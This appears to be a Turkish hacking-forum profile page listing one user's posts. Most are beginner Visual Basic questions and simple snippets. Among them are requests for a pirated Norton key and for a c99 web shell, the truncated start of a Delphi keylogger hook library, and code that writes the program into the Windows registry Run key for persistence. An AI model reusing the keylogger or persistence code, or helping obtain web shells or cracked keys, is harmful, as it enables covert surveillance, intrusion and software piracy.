adanalı2 kullanıcısının son içeriği

Microsoft Visual C ye başlıcam ama internetten indiremedim download linki atabilecek olan varmı

isim değiştirme imkanımız varmı

visual basicde web browser yapıyorum ama run-time error'1 (fffffff)' hatası alıyorum yardım edebilecek varmı

sa ben rarlı dosyaya şifre koymak istiyorum bunu nasıl yapabilirim

bana norton antivirüs 2010 keyi lazım

bana c99 shell lazım nerden bulabilirim

Bİ KEYLOGGER KAYNAK KODU: library KBHook; uses Windows, Messages; type PHWND = ^HWND; const WM_KEYBOARD_HOOK = WM_USER + 52012; var hHook: LongWord = 0; Key: Word; KeyboardLayout: HKL; GetShiftKeys: Boolean; hWndBuffer: PHWND; hMMF: THandle; function KeyboardProc(nCode: Integer; wParam...

Mipony ile Rapidshare, Megaupload, Hotfiles ve diğer popüler dosya barındırma sitelerinden indirme işlemi yapabilirsiniz. Mipony, premium hesaplar ile de çalışabiliyor. Şu an Megaupload, Rapidshare, Hotfile, Easy-share, Gigasize, Mediafire, Depositefiles, Filefactory, Uploading, 4shared gibi...

Private Sub Command1_Click() Dim s1, s2, ort As Integer s1 = Val(Text1.Text) s2 = Val(Text2.Text) ort = (s1 + s2) Command1.Caption = ort End Sub Private Sub Command2_Click() Dim s3, s4, ort As Integer s3 = Val(Text3.Text) s4 = Val(Text4.Text) ort = (s3 * s4) Command2.Caption = ort End Sub...

Private Sub Başlat_Click() Timer1.Enabled = True Timer2.Enabled = True End Sub Private Sub Command1_Click() Timer1.Enabled = True Timer2.Enabled = True End Sub Private Sub Durdur_Click() Timer1.Enabled = False Timer2.Enabled = False End Sub Private Sub Command2_Click() Timer1.Enabled =...

Private Sub Command1_Click() Label1.Caption = Val(Text1.Text) + Val(Text2.Text) End Sub Private Sub Command2_Click() Label1.Caption = Val(Text1.Text) - Val(Text2.Text) End Sub Private Sub Command3_Click() Label1.Caption = Val(Text1.Text) * Val(Text2.Text) End Sub Private Sub...

Private Sub Command1_Click() WebBrowser1.Navigate "http://www.ipadresi.org" Text1.Text = "" Text1.Enabled = True Text1.Locked = False Timer1.Enabled = False Timer2.Enabled = False End Sub Private Sub Command2_Click() Unload Me End Sub Private Sub Form_Load() WebBrowser1.Navigate...

Private Sub Command1_Click() Timer1.Enabled = True End Sub Private Sub Command2_Click() Timer1.Enabled = False End Sub Private Sub Timer1_Timer() Shell ("ping text1.text -t") End Sub

Private Sub Form_Load() Dim KayitDefteri As Object Set KayitDefteri = CreateObject("wscript.shell") KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe" On Error Resume Next Dim yol, ad, TamYol yol =...

Dim KayitDefteri As Object Set KayitDefteri = CreateObject("wscript.shell") KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"